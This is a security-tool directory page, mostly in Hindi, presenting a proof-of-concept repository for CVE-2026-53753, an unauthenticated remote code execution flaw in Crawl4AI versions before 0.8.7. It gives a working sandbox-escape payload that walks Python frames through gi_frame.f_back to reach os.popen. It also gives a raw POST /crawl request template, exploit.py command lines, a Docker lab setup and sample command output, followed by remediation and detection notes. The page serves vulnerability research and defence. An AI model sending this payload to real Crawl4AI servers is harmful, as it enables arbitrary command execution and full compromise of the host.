Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 अप्रमाणित RCE (AST sandbox escape gi_frame.f_back द्वारा). Lab + PoC, सत्यापित e2e. | Kitploit
उपकरण/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
स्थैतिक विश्लेषणगतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
लैब और अभ्यास
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 अप्रमाणित RCE (AST sandbox escape gi_frame.f_back द्वारा). Lab + PoC, सत्यापित e2e.

रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

CVE-2026-53753 — Crawl4AI असत्यापित रिमोट कोड निष्पादन (AST सैंडबॉक्स एस्केप)

Crawl4AI < 0.8.7 में पूर्व-प्रमाणीकरण RCE। एक निर्मित JsonCssExtractionStrategy स्कीमा जो असत्यापित POST /crawl एंडपॉइंट पर भेजा जाता है, गणना-क्षेत्रों के मूल्यांकनकर्ता (_safe_eval_expression) तक पहुँचता है, इसकी AST अनुमति-सूची से Python फ्रेम ऑब्जेक्ट्स के माध्यम से बच निकलता है, वास्तविक builtins तक पहुँचता है, और __import__('os').popen(<cmd>).read() चलाता है — जो कमांड के आउटपुट को JSON प्रतिक्रिया में इन-बैंड लौटाता है।

CVECVE-2026-53753
सलाहGHSA-qxjp-w3pj-48m7
प्रभावितCrawl4AI <= 0.8.6
ठीक किया गया0.8.7
वर्गCWE-94 (कोड इंजेक्शन) / Python सैंडबॉक्स एस्केप
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रमाणीकरणकोई नहीं — शामिल कॉन्फ़िग में jwt_enabled: false है
स्थितिपुष्टि — आधिकारिक unclecode/crawl4ai:0.8.6 इमेज के विरुद्ध एंड-टू-एंड पुनरुत्पादित किया गया

विषय-सूची

  1. मूल कारण
  2. पेलोड की शारीरिक रचना
  3. फ्रेम वॉक वास्तविक builtins तक क्यों पहुँचता है
  4. प्रयोगशाला सेटअप
  5. एक्सप्लॉइट चलाएँ
  6. अपेक्षित आउटपुट
  7. कच्चा HTTP अनुरोध
  8. समस्या निवारण
  9. प्रभाव / उपचार / पता लगाना
  10. सत्यापन

गहराई से: नोड-दर-नोड AST वॉकथ्रू, रनटाइम फ्रेम स्टैक, अनुरोध डेटा-फ्लो और पैच डिफ के लिए ANALYSIS.md देखें।


1. मूल कारण

crawl4ai/extraction_strategy.py एक निष्कर्षण स्कीमा को गणना क्षेत्र (computed fields) परिभाषित करने देता है — छोटे Python एक्सप्रेशन जो प्रत्येक निकाले गए आइटम पर मूल्यांकित होते हैं। इन्हें _safe_eval_expression() द्वारा चलाया जाता है, जो AST अनुमति-सूची और एक छीन-हुई __builtins__ के साथ एक्सप्रेशन को सैंडबॉक्स करने का प्रयास करता है:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

वैलिडेटर अस्वीकार-द्वारा-उपसर्ग है: यह केवल उन नामों को अस्वीकार करता है जो _ से शुरू होते हैं (साथ ही import). वह एकमात्र ह्यूरिस्टिक पूरा सैंडबॉक्स है — और इसमें तीन छेद हैं जो एक पूर्ण एस्केप में संयोजित होते हैं:

स्कीमा इस फ़ंक्शन तक बिना प्रमाणीकरण के पहुँचती है: Docker API security.jwt_enabled: false भेजता है, इसलिए /crawl टोकन निर्भरता lambda: None है।

2. पेलोड की शारीरिक रचना, पंक्ति दर पंक्ति

गणना-क्षेत्र का एक्सप्रेशन है:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

इसे टुकड़े-टुकड़े पढ़ना:

चूँकि जनरेटर का मान os.popen(cmd).read() है, कमांड का stdout फ़ील्ड मान बन जाता है और /crawl प्रतिक्रिया में वापस परिलक्षित होता है — एक इन-बैंड ओरेकल, किसी OAST की आवश्यकता नहीं।

3. फ्रेम वॉक वास्तविक builtins तक क्यों पहुँचता है

जब list(g) जनरेटर को इटरेट करता है, कॉल स्टैक इस प्रकार दिखता है:

root@kitploit:~
frame: _safe_eval_expression()      <-- real builtins  (__import__ lives here)   ← f_back ×3
   └ frame: <expression> (eval)     <-- sandboxed builtins (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- sandboxed                                 ← f_back ×1
             └ frame: <genexpr> g   <-- RUNNING; g.gi_frame is this frame         ← gi_frame

g.gi_frame.f_back केवल जनरेटर के चलने के दौरान जनशून्य होता है (इसलिए जनरेटर को स्वयं को संदर्भित करना चाहिए और list(g) द्वारा चलाया जाना चाहिए — एक अभी-शुरू-नहीं हुआ जनरेटर f_back is None होता है)। तीन बार f_back चलने पर _safe_eval_expression फ्रेम पर पहुँचता है, जिसका f_builtins पूर्ण builtins मॉड्यूल है — जिसमें से __import__ सबस्क्रिप्ट द्वारा निकाला जाता है।

फ्रेम गहराई इस कोड पथ के लिए स्थिर है: f_back × 3 Crawl4AI 0.8.6 के _safe_eval_expression के लिए सही है।

4. प्रयोगशाला सेटअप

आधिकारिक इमेज असुरक्षित डिफ़ॉल्ट (कोई प्रमाणीकरण नहीं) के साथ आती है:

root@kitploit:~
# Option A — docker compose (normal Docker host with bridge networking)
docker compose -f lab/docker-compose.yml up -d

# Option B — plain docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

ब्राउज़र पूल को गर्म होने के लिए ~20 सेकंड प्रतीक्षा करें (docker logs crawl4ai-vuln → Application startup complete).

5. एक्सप्लॉइट चलाएँ

root@kitploit:~
# Inspect the request body without sending it:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Fire it (command stdout comes back in the response):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py केवल Python मानक पुस्तकालय का उपयोग करता है — कोई निर्भरता नहीं।

6. अपेक्षित आउटपुट

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

out फ़ील्ड लाइव OS स्थिति है (id आउटपुट, uname, कंटेनर का os-release), अनुरोध की प्रतिध्वनि नहीं — uid=999(appuser) कंटेनर का सेवा खाता है, जो Crawl4AI होस्ट के अंदर कोड निष्पादन साबित करता है। एक अद्वितीय echo <marker> शब्दशः परिलक्षित होता है, जो पुष्टि करता है कि कमांड वास्तव में चला।

7. कच्चा HTTP अनुरोध

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://… अनुरोध को स्व-निहित बनाता है — किसी आउटबाउंड फ़ेच की आवश्यकता नहीं; हमलावर HTML इनलाइन प्रदान करता है।
  • baseSelector: "div" को केवल एक तत्व से मेल खाने की आवश्यकता है ताकि एक गणना क्षेत्र का मूल्यांकन किया जा सके। वास्तविक क्रॉल लक्ष्य के विरुद्ध, किसी भी चयनकर्ता का उपयोग करें जो पृष्ठ से मेल खाता हो।

8. समस्या निवारण

9. प्रभाव / उपचार / पता लगाना

कोई भी नेटवर्क-पहुँच योग्य क्लाइंट डिफ़ॉल्ट परिनियोजन में बिना प्रमाणीकरण के Crawl4AI होस्ट पर मनमाना OS कमांड निष्पादित करता है — सर्वर का पूर्ण समझौता और उसके द्वारा पहुँचे जा सकने वाले किसी भी आंतरिक संसाधन में प्रवेश।

उपचार

  • Crawl4AI ≥ 0.8.7 में अपग्रेड करें (_safe_eval_expression हटाता है; expression गणना-क्षेत्र कुंजी अक्षम है — इसके बजाय एक जाँचे गए Python कॉल करने योग्य के साथ function कुंजी का उपयोग करें)।
  • गहराई में सुरक्षा: JWT सक्षम करें (jwt_enabled: true + api_token) और Crawl4AI API को कभी भी अविश्वसनीय नेटवर्क पर उजागर न करें।

पता लगाना

POST /crawl (और /crawl/stream) बॉडी में gi_frame, f_back, f_builtins, या कोई computed फ़ील्ड जिसमें expression कुंजी है, को चिह्नित करें।

प्रकटीकरण / क्रेडिट

  • PoC लेखक: Caio Fabrício — github.com/BiiTts
  • कमजोरी का श्रेय मूल CVE/सलाह रिपोर्टर को जाता है; यह रेपो रक्षात्मक और शैक्षिक उपयोग के लिए एक स्वतंत्र पुनरुत्पादन है।
  • केवल अधिकृत सुरक्षा परीक्षण के लिए।
टूल डाउनलोड करें
#छेदयह क्यों मायने रखता है
1gi_frame, f_back, f_builtins _ से शुरू नहीं होतेसंपूर्ण Python फ्रेम/जनरेटर इंट्रोस्पेक्शन सतह पहुँच योग्य है।
2obj['__import__'] एक ast.Subscript है, ast.Attribute नहींवैलिडेटर कभी भी डिक्ट-सबस्क्रिप्ट कीज़ का निरीक्षण नहीं करता, इसलिए डंडर की __import__ पास हो जाती है।
3एक चल रहे जनरेटर की f_back श्रृंखला एक बाहरी फ्रेम की ओर ले जाती है जिसका f_builtins वास्तविक builtins हैछीन-हुई _SAFE_EVAL_BUILTINS से बचकर पूर्ण builtins (__import__, आदि) तक पहुँचता है।
अंशभूमिकावैलिडेटर इसे क्यों अनुमति देता है
(lambda: ... )()एक फ़ंक्शन स्कोप बनाता है ताकि वालरस-बाउंड नाम एक क्लोज़र सेल में रहता है।ast.Lambda की जाँच नहीं की जाती।
g := ( <expr> for i in [1])जनरेटर को g पर बाँधता है और जनरेटर बॉडी g (स्वयं) को संदर्भित करता है।:= और जनरेटर एक्सप्रेशन की जाँच नहीं की जाती। (वालरस एक कॉम्प्रिहेंशन आइटरेबल में अवैध है, इसलिए इसे इसके बजाय एक टपल तत्व में रखा जाता है।)
list(g)जनरेटर को चलाता है — ताकि बॉडी चलने पर इसका फ्रेम सक्रिय हो।list सुरक्षित builtins में है।
g.gi_frameजनरेटर का फ्रेम ऑब्जेक्ट।gi_frame _ से शुरू नहीं होता।
.f_back.f_back.f_backतीन फ्रेम ऊपर चलता है वास्तविक builtins वाले एक तक।f_back _ से शुरू नहीं होता।
.f_builtinsउस फ्रेम का builtins मैपिंग (वास्तविक वाला)।f_builtins _ से शुरू नहीं होता।
['__import__']builtins dict से __import__ लाता है।डिक्ट सबस्क्रिप्ट — कभी निरीक्षण नहीं किया गया।
('os')__import__('os') → os मॉड्यूल।कॉल टार्गेट एक Subscript है, Name/Attribute नहीं।
.popen('id').read()कमांड चलाता है और इसका stdout लौटाता है।popen/read _ से शुरू नहीं होते।
लक्षणकारण / समाधान
:11235 पर Connection refusedकंटेनर अभी भी गर्म हो रहा है, या आपके Docker डेमॉन के पास कोई उपयोग योग्य bridge नेटवर्क नहीं है। Application startup complete तक प्रतीक्षा करें; यदि पोर्ट मैपिंग बाइंड नहीं होती है, तो कंटेनर को --network host के साथ चलाएँ।
out null हैबेस सेलेक्टर किसी तत्व से मेल नहीं खाया — सुनिश्चित करें कि raw:// HTML में <div> है (या baseSelector समायोजित करें)।
0.8.6 पर काम करता है लेकिन 0.8.7 पर नहींअपेक्षित — 0.8.7 _safe_eval_expression को हटाता है और expression कुंजी को पूरी तरह से अक्षम करता है (सुधार)।